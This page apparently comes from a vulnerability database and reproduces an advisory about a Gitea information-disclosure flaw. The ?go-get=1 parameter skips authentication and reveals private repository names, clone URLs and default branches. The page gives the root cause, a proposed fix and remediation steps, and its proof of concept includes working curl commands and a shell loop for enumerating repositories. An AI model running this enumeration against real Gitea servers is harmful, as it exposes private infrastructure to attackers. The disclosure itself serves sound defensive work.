Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Network-accessible with no authentication required; only metadata disclosed (not repo contents), justifying C:L; no integrity or availability impact applies.
Primary rating from Vendor (https://github.com/go-gitea/gitea).
CVSS VectorVendor: https://github.com/go-gitea/gitea
Lifecycle Timeline
2DescriptionCVE.org
| Field | Value |
|---|---|
| Affected File | routers/web/repo/githttp.go, services/context/repo.go |
| Affected Functions | httpBase(), EarlyResponseForGoGetMeta() |
| Affected Lines | githttp.go:63-66, services/context/repo.go:374-396 |
| Prerequisite | None - fully unauthenticated |
---
Description
Gitea implements a special behavior for requests containing the ?go-get=1 query parameter. This parameter is sent by the Go toolchain (go get, go install) to discover VCS metadata for module imports. When Gitea detects this parameter in the HTTP request path for a repository, it bypasses the normal authentication and authorization stack and returns an HTTP 200 response containing <meta name="go-import"> and <meta name="go-source"> tags - regardless of whether:
- The repository is private
- The requesting user is authenticated
- The requesting user has any permission on the repository
The entry point is routers/web/repo/githttp.go:63-66:
func httpBase(ctx *context.Context, optGitService ...string) *serviceHandler {
reponame := strings.TrimSuffix(ctx.PathParam("reponame"), ".git")
if ctx.FormString("go-get") == "1" {
context.EarlyResponseForGoGetMeta(ctx)
return nil // ← returns before any auth or permission check
}
...The EarlyResponseForGoGetMeta function (services/context/repo.go:379-396) is called unconditionally, and the function's own docstring documents the intended behavior:
// EarlyResponseForGoGetMeta responses appropriate go-get meta with status 200
// if user does not have actual access to the requested repository,
// or the owner or repository does not exist at all.
// This is particular a workaround for "go get" command which does not respect
// .netrc file.
func EarlyResponseForGoGetMeta(ctx *Context) {
username := ctx.PathParam("username")
reponame := strings.TrimSuffix(ctx.PathParam("reponame"), ".git")
...
ctx.PlainText(http.StatusOK, htmlMeta) // ← HTTP 200, no auth check
}The function also appears at services/context/repo.go:444, 516, 571 - all repository-scoped route handlers that check ?go-get=1 and call EarlyResponseForGoGetMeta before performing any permission verification.
The metadata returned includes:
- The full repository name and owner - confirming the repository exists
- The HTTP clone URL - a fully-formed URL pointing to the repository
- The source browsing URL templates - which may reveal the default branch name
This allows an unauthenticated attacker to:
- Confirm existence of any private repository by name
- Enumerate private repository names through brute-force without triggering authentication failures
- Harvest clone URLs and default branch names of private repositories
---
Proof of Concept
Step 1 - Identify a private repository
Any private repository works. For this demonstration, admin/classified-internal is set to private:
---
Step 2 - Confirm access is denied without authentication
Standard requests to a private repository correctly return 404 for unauthenticated users.
---
Step 3 - Bypass using go-get parameter
curl -s "http://localhost:3000/admin/classified-internal?go-get=1"Actual response (HTTP 200):
<!doctype html>
<html>
<head>
<meta name="go-import"
content="localhost:3000/admin/classified-internal
git
http://localhost:3000/admin/classified-internal.git">
<meta name="go-source"
content="localhost:3000/admin/classified-internal
_
http://localhost:3000/admin/classified-internal/src/branch/main{/dir}
http://localhost:3000/admin/classified-internal/src/branch/main{/dir}/{file}#L{line}">
</head>
<body>
go get --insecure localhost:3000/admin/classified-internal
</body>
</html>The response:
- Returns HTTP 200 (not 404) - confirming the repository exists
- Reveals the full clone URL:
http://localhost:3000/admin/classified-internal.git - Reveals the default branch name:
main - Reveals the owner username:
admin
This same response is returned whether or not the repository exists - the comment in EarlyResponseForGoGetMeta states it responds identically for both - however in practice, the clone URL generated will be functionally different (a real clone attempt against a non-existent repo fails, while one against a private repo fails only at authentication). An attacker can differentiate using response timing or by attempting git ls-remote.
---
Step 4 - Enumerate private repositories at scale
# Enumerate private repos by guessing common names
for name in internal deploy secrets infra api-keys prod-config db-creds; do
response=$(curl -s "http://localhost:3000/admin/${name}?go-get=1")
if echo "$response" | grep -q "go-import"; then
clone_url=$(echo "$response" | grep -oP 'git http://\K[^ "]+')
echo "[FOUND] admin/${name} → clone: http://${clone_url}"
fi
done---
Step 5 - Verify the same applies to the main web router
The vulnerability also exists via the standard web router for repository pages:
# Works on any repo-scoped URL
curl -s "http://localhost:3000/admin/classified-internal/releases?go-get=1" | grep "go-import"
curl -s "http://localhost:3000/admin/classified-internal/issues?go-get=1" | grep "go-import"All return HTTP 200 with the metadata.
---
Impact Analysis
Direct impact:
| What is leaked | Sensitivity |
|---|---|
| Repository exists | Confirms presence of private infrastructure code, internal tooling, unreleased products |
| Owner / organization name | Reveals organizational structure |
| Clone URL | Provides a direct endpoint for credential-stuffing attacks against git HTTP endpoint |
| Default branch name | Reduces brute-force surface for subsequent attacks |
---
Root Cause Analysis
The bypass was introduced intentionally as a workaround for the Go toolchain's limitation of not reading .netrc credentials before deciding whether a module is accessible. The Go go get command probes the VCS endpoint without credentials first; if it gets a 404, it treats the module as non-existent and fails immediately without prompting for credentials.
The workaround - returning metadata unconditionally - was the path of least resistance for enabling private module imports. The unintended consequence is that it creates an unauthenticated information disclosure endpoint for every repository in the instance.
---
Recommended Fix
The fix requires differentiating between requests that carry authentication credentials and those that do not, before calling EarlyResponseForGoGetMeta.
// routers/web/repo/githttp.go:63-66 - proposed fix
if ctx.FormString("go-get") == "1" {
// For public repos, always respond to support the go toolchain
if repo != nil && !repo.IsPrivate {
context.EarlyResponseForGoGetMeta(ctx)
return nil
}
// For private repos, only respond if the user is authenticated
// and has at least read access
if ctx.IsSigned {
if perm, err := access_model.GetDoerRepoPermission(ctx, repo, ctx.Doer); err == nil {
if perm.CanRead(unit.TypeCode) {
context.EarlyResponseForGoGetMeta(ctx)
return nil
}
}
}
// Unauthenticated request for a private repo - return 404 consistent
// with normal behavior; the go toolchain will prompt for credentials
ctx.PlainText(http.StatusNotFound, "Repository not found")
return nil
}This approach preserves the go-get functionality for public repositories while protecting private ones. The Go toolchain will fall back to prompting for credentials when it receives a 404, which is the correct behavior for private module imports.
---
AnalysisAI
Private repository existence disclosure in Gitea allows fully unauthenticated remote attackers to confirm the existence, enumerate names, harvest clone URLs, and identify default branch names of private repositories by appending the ?go-get=1 query parameter to any repository-scoped URL. All Gitea instances running versions prior to 1.27.0 are affected regardless of repository visibility configuration. No public exploit identified at time of analysis as a dedicated exploit tool, though a detailed proof-of-concept with working curl and shell enumeration scripts is published in the GHSA advisory, making exploitation trivially repeatable.
Technical ContextAI
Gitea (pkg:go/code.gitea.io/gitea) is a self-hosted Git service written in Go. The vulnerability stems from a deliberate but security-deficient workaround in routers/web/repo/githttp.go within the httpBase() function (lines 63-66). When the Go toolchain sends a ?go-get=1 probe to discover VCS module metadata, Gitea intercepts this before any authentication or authorization evaluation and delegates to EarlyResponseForGoGetMeta() in services/context/repo.go (lines 374-396), which unconditionally returns HTTP 200 with <meta name="go-import"> and <meta name="go-source"> HTML tags. The root cause was a workaround for the Go toolchain's behavior of not consulting .netrc credentials before deciding a module is unreachable. CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) applies directly: the function's own docstring explicitly documents that it responds identically regardless of whether the user has access or the repository even exists, making the information leak a documented design choice that was not gated on authentication.
RemediationAI
Upgrade to Gitea v1.27.0 or later, available at https://github.com/go-gitea/gitea/releases/tag/v1.27.0. The upstream fix, described in GHSA-p4mj-98mv-xq26 (https://github.com/go-gitea/gitea/security/advisories/GHSA-p4mj-98mv-xq26), adds authentication and permission checks prior to calling EarlyResponseForGoGetMeta() for private repositories: public repositories continue to respond unconditionally to preserve Go toolchain compatibility, while private repositories require the requesting user to be signed in and have at least code-read permission, returning HTTP 404 otherwise. If immediate patching is not feasible, a compensating control is to place a reverse proxy (nginx, Caddy, HAProxy) in front of Gitea that strips or blocks requests containing the ?go-get=1 query parameter entirely - this will break Go module discovery for all repositories (including public ones) but eliminates the disclosure vector. Alternatively, network-level access controls restricting Gitea HTTP port access to trusted IP ranges will reduce unauthenticated external enumeration risk, with the trade-off that internal hosts would still be able to exploit the endpoint.
Remote code execution in Gitea (self-hosted Git service) via a code-injection flaw (CWE-94) allows attackers to run arbi
Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r
Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp
The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir
Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea
Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any
Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec
models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem
Server-side request forgery and internal repository exfiltration in Gitea before 1.27.0 lets a low-privileged authentica
Authorization bypass in Gitea versions 1.22.3 through 1.26.1 allows holders of `public-only` access tokens or OAuth gran
An issue was discovered in Gitea through 1.11.5. Rated high severity (CVSS 7.5), this vulnerability is remotely exploita
Missing Authorization in GitHub repository go-gitea/gitea prior to 1.16.4. Rated high severity (CVSS 7.1), this vulnerab
Same weakness CWE-200 – Information Exposure
View allSame technique Information Disclosure
View allVendor StatusVendor
SUSE
Severity: Moderate| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-58173
GHSA-p4mj-98mv-xq26